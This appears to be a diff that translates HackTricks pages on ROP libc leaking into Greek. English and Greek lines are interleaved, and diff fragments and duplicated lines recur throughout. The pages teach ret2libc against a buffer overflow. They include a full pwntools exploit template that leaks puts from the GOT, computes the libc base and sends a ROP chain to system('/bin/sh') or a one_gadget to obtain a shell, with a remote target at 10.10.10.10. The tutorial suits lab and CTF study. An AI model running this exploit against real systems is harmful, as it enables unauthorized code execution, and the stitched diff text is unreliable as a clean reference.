Ο `MAIN_PLT` είναι απαραίτητος για να καλέσει ξανά τη **κύρια συνάρτηση** μετά από μία αλληλεπίδραση για να **εκμεταλλευτεί** την υπερχείλιση **ξανά** (άπειροι γύροι εκμετάλλευσης). **Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει ξανά το πρόγραμμα**.\
|
||||
Ο **POP_RDI** είναι απαραίτητος για να **περάσει** μια **παράμετρο** στη καλούμενη συνάρτηση.
|
||||
|
||||
The `PUTS_PLT` is needed to call the **function puts**.\
|
||||
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
|
||||
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
|
||||
Σε αυτό το βήμα δεν χρειάζεται να εκτελέσετε τίποτα καθώς όλα θα βρεθούν από το pwntools κατά την εκτέλεση.
|
||||
|
||||
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
|
||||
|
||||
## 3- Finding libc library
|
||||
|
||||
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
|
||||
## 3- Εύρεση βιβλιοθήκης libc
|
||||
|
||||
Τώρα είναι η ώρα να βρούμε ποια έκδοση της **βιβλιοθήκης libc** χρησιμοποιείται. Για να το κάνουμε αυτό, θα **διαρρεύσουμε** τη **διεύθυνση** στη μνήμη της **συνάρτησης** `puts` και στη συνέχεια θα **αναζητήσουμε** σε ποια **έκδοση βιβλιοθήκης** βρίσκεται η έκδοση του puts σε αυτή τη διεύθυνση.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
|
||||
#Send our rop-chain payload
|
||||
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
||||
print(p.clean()) # clean socket buffer (read all and print)
|
||||
p.sendline(rop1)
|
||||
#Send our rop-chain payload
|
||||
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
||||
print(p.clean()) # clean socket buffer (read all and print)
|
||||
p.sendline(rop1)
|
||||
|
||||
#Parse leaked address
|
||||
recieved = p.recvline().strip()
|
||||
leak = u64(recieved.ljust(8, "\x00"))
|
||||
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
||||
#If not libc yet, stop here
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
#Parse leaked address
|
||||
recieved = p.recvline().strip()
|
||||
leak = u64(recieved.ljust(8, "\x00"))
|
||||
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
||||
#If not libc yet, stop here
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
|
||||
return hex(leak)
|
||||
return hex(leak)
|
||||
|
||||
get_addr("puts") #Search for puts address in memmory to obtains libc base
|
||||
if libc == "":
|
||||
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||||
p.interactive()
|
||||
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
To do so, the most important line of the executed code is:
|
||||
|
||||
Για να το κάνετε αυτό, η πιο σημαντική γραμμή του εκτελούμενου κώδικα είναι:
|
||||
```python
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Αυτό θα στείλει μερικά bytes μέχρι να είναι **δυνατό** το **overwriting** του **RIP**: `OFFSET`.\
|
||||
Στη συνέχεια, θα ρυθμίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στο **RDI** registry. Αυτό συμβαίνει επειδή θέλουμε να **καλέσουμε το puts** **περνώντας** του τη **διεύθυνση** του `PUTS_GOT` καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\
|
||||
Μετά από αυτό, θα κληθεί το `PUTS_PLT` (με το `PUTS_GOT` μέσα στο **RDI**) έτσι ώστε το puts να **διαβάσει το περιεχόμενο** μέσα στο `PUTS_GOT` (**τη διεύθυνση της συνάρτησης puts στη μνήμη**) και θα **το εκτυπώσει**.\
|
||||
Τέλος, **η κύρια συνάρτηση καλείται ξανά** ώστε να μπορέσουμε να εκμεταλλευτούμε την υπερχείλιση ξανά.
|
||||
|
||||
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
|
||||
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
|
||||
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
|
||||
Finally, **main function is called again** so we can exploit the overflow again.
|
||||
|
||||
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
|
||||
Με αυτόν τον τρόπο έχουμε **παραπλανήσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία είναι μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να **αναζητήσουμε ποια έκδοση libc χρησιμοποιείται**.
|
||||
|
||||
.png>)
|
||||
|
||||
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
But, in a remote exploit case I will explain here how can you find it:
|
||||
Καθώς **εκμεταλλευόμαστε** κάποια **τοπική** δυαδική, **δεν είναι απαραίτητο** να καταλάβουμε ποια έκδοση της **libc** χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Αλλά, σε περίπτωση απομακρυσμένης εκμετάλλευσης, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε:
|
||||
|
||||
### 3.1- Searching for libc version (1)
|
||||
### 3.1- Αναζητώντας την έκδοση libc (1)
|
||||
|
||||
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
It will also allow you to download the discovered version of **libc**
|
||||
Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στη σελίδα: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της **libc**
|
||||
|
||||
.png>)
|
||||
|
||||
### 3.2- Searching for libc version (2)
|
||||
### 3.2- Αναζητώντας την έκδοση libc (2)
|
||||
|
||||
You can also do:
|
||||
Μπορείτε επίσης να κάνετε:
|
||||
|
||||
- `$ git clone https://github.com/niklasb/libc-database.git`
|
||||
- `$ cd libc-database`
|
||||
- `$ ./get`
|
||||
|
||||
This will take some time, be patient.\
|
||||
For this to work we need:
|
||||
Αυτό θα πάρει λίγο χρόνο, να είστε υπομονετικοί.\
|
||||
Για να λειτουργήσει αυτό, χρειαζόμαστε:
|
||||
|
||||
- Libc symbol name: `puts`
|
||||
- Leaked libc adddress: `0x7ff629878690`
|
||||
|
||||
We can figure out which **libc** that is most likely used.
|
||||
- Όνομα συμβόλου libc: `puts`
|
||||
- Διεύθυνση libc που έχει διαρρεύσει: `0x7ff629878690`
|
||||
|
||||
Μπορούμε να καταλάβουμε ποια **libc** είναι πιο πιθανό να χρησιμοποιείται.
|
||||
```bash
|
||||
./find puts 0x7ff629878690
|
||||
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
||||
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
||||
```
|
||||
|
||||
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
|
||||
|
||||
Παίρνουμε 2 αντιστοιχίες (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη:
|
||||
```bash
|
||||
./download libc6_2.23-0ubuntu10_amd64
|
||||
Getting libc6_2.23-0ubuntu10_amd64
|
||||
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
||||
-> Downloading package
|
||||
-> Extracting package
|
||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
||||
-> Downloading package
|
||||
-> Extracting package
|
||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||
```
|
||||
Αντιγράψτε τη libc από `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` στον κατάλογο εργασίας μας.
|
||||
|
||||
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
|
||||
|
||||
### 3.3- Other functions to leak
|
||||
|
||||
### 3.3- Άλλες συναρτήσεις για διαρροή
|
||||
```python
|
||||
puts
|
||||
printf
|
||||
@ -198,28 +181,24 @@ __libc_start_main
|
||||
read
|
||||
gets
|
||||
```
|
||||
## 4- Εύρεση διεύθυνσης libc βάσει & εκμετάλλευση
|
||||
|
||||
## 4- Finding based libc address & exploiting
|
||||
Σε αυτό το σημείο θα πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό, θα χρησιμοποιήσω απλώς: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
|
||||
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
|
||||
Έτσι, στην αρχή του `template.py` αλλάξτε τη μεταβλητή **libc** σε: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
||||
|
||||
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
||||
|
||||
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
|
||||
|
||||
Inside the `get_addr`function the **base address of libc** is going to be calculated:
|
||||
Δίνοντας τη **διαδρομή** στη **βιβλιοθήκη libc**, το υπόλοιπο της **εκμετάλλευσης θα υπολογιστεί αυτόματα**.
|
||||
|
||||
Μέσα στη συνάρτηση `get_addr`, η **βάση διεύθυνση της libc** θα υπολογιστεί:
|
||||
```python
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
|
||||
|
||||
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
|
||||
> Σημειώστε ότι **η τελική διεύθυνση βάσης της libc πρέπει να τελειώνει σε 00**. Αν αυτό δεν ισχύει για εσάς, μπορεί να έχετε διαρρεύσει μια λανθασμένη βιβλιοθήκη.
|
||||
|
||||
Στη συνέχεια, η διεύθυνση της συνάρτησης `system` και η **διεύθυνση** της συμβολοσειράς _"/bin/sh"_ θα υπολογιστούν από τη **διεύθυνση βάσης** της **libc** και θα δοθούν τη **βιβλιοθήκη libc.**
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||||
SYSTEM = libc.sym["system"]
|
||||
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
```
|
||||
|
||||
Finally, the /bin/sh execution exploit is going to be prepared sent:
|
||||
|
||||
Τέλος, η εκμετάλλευση εκτέλεσης /bin/sh θα προετοιμαστεί και θα σταλεί:
|
||||
```python
|
||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||
|
||||
@ -240,30 +217,27 @@ p.sendline(rop2)
|
||||
#### Interact with the shell #####
|
||||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
Ας εξηγήσουμε αυτό το τελικό ROP.\
|
||||
Το τελευταίο ROP (`rop1`) καλέστηκε ξανά η κύρια συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό ο `OFFSET` είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περαστεί ως παράμετρος.\
|
||||
Τέλος, η **διεύθυνση της συνάρτησης εξόδου** καλείται ώστε η διαδικασία να **εξέρχεται ωραία** και να μην δημιουργείται καμία ειδοποίηση.
|
||||
|
||||
Let's explain this final ROP.\
|
||||
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
|
||||
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
|
||||
|
||||
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
|
||||
**Με αυτόν τον τρόπο η εκμετάλλευση θα εκτελέσει ένα \_/bin/sh**\_\*\* shell.\*\*
|
||||
|
||||
.png>)
|
||||
|
||||
## 4(2)- Using ONE_GADGET
|
||||
## 4(2)- Χρησιμοποιώντας το ONE_GADGET
|
||||
|
||||
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
|
||||
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε [**ONE_GADGET** ](https://github.com/david942j/one_gadget) για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε **system** και **"/bin/sh". ONE_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία **διεύθυνση ROP**.\
|
||||
Ωστόσο, συνήθως υπάρχουν κάποιους περιορισμούς, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL` Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλά πρέπει να στείλετε μερικές περισσότερες NULL τιμές ώστε να αποφευχθεί ο περιορισμός.
|
||||
|
||||
.png>)
|
||||
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
|
||||
## EXPLOIT FILE
|
||||
|
||||
You can find a template to exploit this vulnerability here:
|
||||
Μπορείτε να βρείτε ένα πρότυπο για να εκμεταλλευτείτε αυτήν την ευπάθεια εδώ:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
@ -273,32 +247,26 @@ rop-leaking-libc-template.md
|
||||
|
||||
### MAIN_PLT = elf.symbols\['main'] not found
|
||||
|
||||
If the "main" symbol does not exist. Then you can find where is the main code:
|
||||
|
||||
Εάν το σύμβολο "main" δεν υπάρχει. Τότε μπορείτε να βρείτε πού είναι ο κύριος κώδικας:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
0000000000401080 <.text>:
|
||||
```
|
||||
|
||||
and set the address manually:
|
||||
|
||||
και ορίστε τη διεύθυνση χειροκίνητα:
|
||||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
|
||||
### Puts not found
|
||||
|
||||
If the binary is not using Puts you should check if it is using
|
||||
Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts, θα πρέπει να ελέγξετε αν χρησιμοποιεί
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
||||
Αν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Δοκιμάστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,11 +1,6 @@
|
||||
# Leaking libc - template
|
||||
# Διαρροή libc - πρότυπο
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
```python:template.py
|
||||
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
|
||||
|
||||
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
|
||||
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
|
||||
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1339) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
P = remote('10.10.10.10',1339) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
elf = ELF(LOCAL_BIN)# Extract data from binary
|
||||
rop = ROP(elf)# Find ROP gadgets
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
elf = ELF(LOCAL_BIN)# Extract data from binary
|
||||
rop = ROP(elf)# Find ROP gadgets
|
||||
|
||||
if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main")
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main")
|
||||
|
||||
|
||||
|
||||
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
|
||||
OFFSET = b"" #b"A"*264
|
||||
if OFFSET == b"":
|
||||
gdb.attach(P.pid, "c") #Attach and continue
|
||||
payload = cyclic(264)
|
||||
payload += b"AAAAAAAA"
|
||||
print(P.clean())
|
||||
P.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
|
||||
P.interactive()
|
||||
exit()
|
||||
gdb.attach(P.pid, "c") #Attach and continue
|
||||
payload = cyclic(264)
|
||||
payload += b"AAAAAAAA"
|
||||
print(P.clean())
|
||||
P.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
|
||||
P.interactive()
|
||||
exit()
|
||||
|
||||
|
||||
|
||||
@ -69,11 +64,11 @@ if OFFSET == b"":
|
||||
### Find Gadgets ###
|
||||
####################
|
||||
try:
|
||||
libc_func = "puts"
|
||||
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
|
||||
libc_func = "puts"
|
||||
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
|
||||
except:
|
||||
libc_func = "printf"
|
||||
PUTS_PLT = ELF_LOADED.plt['printf']
|
||||
libc_func = "printf"
|
||||
PUTS_PLT = ELF_LOADED.plt['printf']
|
||||
|
||||
MAIN_PLT = ELF_LOADED.symbols['main']
|
||||
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
||||
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
|
||||
########################
|
||||
|
||||
def generate_payload_aligned(rop):
|
||||
payload1 = OFFSET + rop
|
||||
if (len(payload1) % 16) == 0:
|
||||
return payload1
|
||||
payload1 = OFFSET + rop
|
||||
if (len(payload1) % 16) == 0:
|
||||
return payload1
|
||||
|
||||
else:
|
||||
payload2 = OFFSET + p64(RET) + rop
|
||||
if (len(payload2) % 16) == 0:
|
||||
log.info("Payload aligned successfully")
|
||||
return payload2
|
||||
else:
|
||||
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
|
||||
return payload1
|
||||
else:
|
||||
payload2 = OFFSET + p64(RET) + rop
|
||||
if (len(payload2) % 16) == 0:
|
||||
log.info("Payload aligned successfully")
|
||||
return payload2
|
||||
else:
|
||||
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
|
||||
return payload1
|
||||
|
||||
|
||||
def get_addr(libc_func):
|
||||
FUNC_GOT = ELF_LOADED.got[libc_func]
|
||||
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
rop1 = generate_payload_aligned(rop1)
|
||||
FUNC_GOT = ELF_LOADED.got[libc_func]
|
||||
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
rop1 = generate_payload_aligned(rop1)
|
||||
|
||||
# Send our rop-chain payload
|
||||
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
|
||||
print(P.clean()) # clean socket buffer (read all and print)
|
||||
P.sendline(rop1)
|
||||
# Send our rop-chain payload
|
||||
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
|
||||
print(P.clean()) # clean socket buffer (read all and print)
|
||||
P.sendline(rop1)
|
||||
|
||||
# If binary is echoing back the payload, remove that message
|
||||
recieved = P.recvline().strip()
|
||||
if OFFSET[:30] in recieved:
|
||||
recieved = P.recvline().strip()
|
||||
# If binary is echoing back the payload, remove that message
|
||||
recieved = P.recvline().strip()
|
||||
if OFFSET[:30] in recieved:
|
||||
recieved = P.recvline().strip()
|
||||
|
||||
# Parse leaked address
|
||||
log.info(f"Len rop1: {len(rop1)}")
|
||||
leak = u64(recieved.ljust(8, b"\x00"))
|
||||
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
|
||||
# Parse leaked address
|
||||
log.info(f"Len rop1: {len(rop1)}")
|
||||
leak = u64(recieved.ljust(8, b"\x00"))
|
||||
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
|
||||
|
||||
# Set lib base address
|
||||
if LIBC:
|
||||
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
|
||||
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
|
||||
log.info("LIBC base @ %s" % hex(LIBC.address))
|
||||
# Set lib base address
|
||||
if LIBC:
|
||||
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
|
||||
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
|
||||
log.info("LIBC base @ %s" % hex(LIBC.address))
|
||||
|
||||
# If not LIBC yet, stop here
|
||||
else:
|
||||
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
|
||||
P.interactive()
|
||||
# If not LIBC yet, stop here
|
||||
else:
|
||||
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
|
||||
P.interactive()
|
||||
|
||||
return hex(leak)
|
||||
return hex(leak)
|
||||
|
||||
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
|
||||
|
||||
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
|
||||
## Via One_gadget (https://github.com/david942j/one_gadget)
|
||||
# gem install one_gadget
|
||||
def get_one_gadgets(libc):
|
||||
import string, subprocess
|
||||
args = ["one_gadget", "-r"]
|
||||
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
|
||||
args += ["-b", libc.hex()]
|
||||
else:
|
||||
args += [libc]
|
||||
try:
|
||||
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
|
||||
except:
|
||||
print("One_gadget isn't installed")
|
||||
one_gadgets = []
|
||||
return
|
||||
import string, subprocess
|
||||
args = ["one_gadget", "-r"]
|
||||
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
|
||||
args += ["-b", libc.hex()]
|
||||
else:
|
||||
args += [libc]
|
||||
try:
|
||||
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
|
||||
except:
|
||||
print("One_gadget isn't installed")
|
||||
one_gadgets = []
|
||||
return
|
||||
|
||||
rop2 = b""
|
||||
if USE_ONE_GADGET:
|
||||
one_gadgets = get_one_gadgets(LIBC)
|
||||
if one_gadgets:
|
||||
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
|
||||
one_gadgets = get_one_gadgets(LIBC)
|
||||
if one_gadgets:
|
||||
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
|
||||
|
||||
## Normal/Long exploitation
|
||||
if not rop2:
|
||||
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
SYSTEM = LIBC.sym["system"]
|
||||
EXIT = LIBC.sym["exit"]
|
||||
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
SYSTEM = LIBC.sym["system"]
|
||||
EXIT = LIBC.sym["exit"]
|
||||
|
||||
log.info("POP_RDI %s " % hex(POP_RDI))
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
log.info("exit %s " % hex(EXIT))
|
||||
log.info("POP_RDI %s " % hex(POP_RDI))
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
log.info("exit %s " % hex(EXIT))
|
||||
|
||||
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
|
||||
rop2 = generate_payload_aligned(rop2)
|
||||
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
|
||||
rop2 = generate_payload_aligned(rop2)
|
||||
|
||||
|
||||
print(P.clean())
|
||||
@ -189,41 +184,30 @@ P.sendline(rop2)
|
||||
|
||||
P.interactive() #Interact with your shell :)
|
||||
```
|
||||
## Κοινά προβλήματα
|
||||
|
||||
## Common problems
|
||||
|
||||
### MAIN_PLT = elf.symbols\['main'] not found
|
||||
|
||||
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
|
||||
### MAIN_PLT = elf.symbols\['main'] δεν βρέθηκε
|
||||
|
||||
Αν το σύμβολο "main" δεν υπάρχει (πιθανώς επειδή είναι ένα stripped binary). Τότε μπορείτε απλά να βρείτε πού είναι ο κύριος κώδικας:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
0000000000401080 <.text>:
|
||||
```
|
||||
|
||||
and set the address manually:
|
||||
|
||||
και ορίστε τη διεύθυνση χειροκίνητα:
|
||||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
|
||||
### Puts not found
|
||||
|
||||
If the binary is not using Puts you should **check if it is using**
|
||||
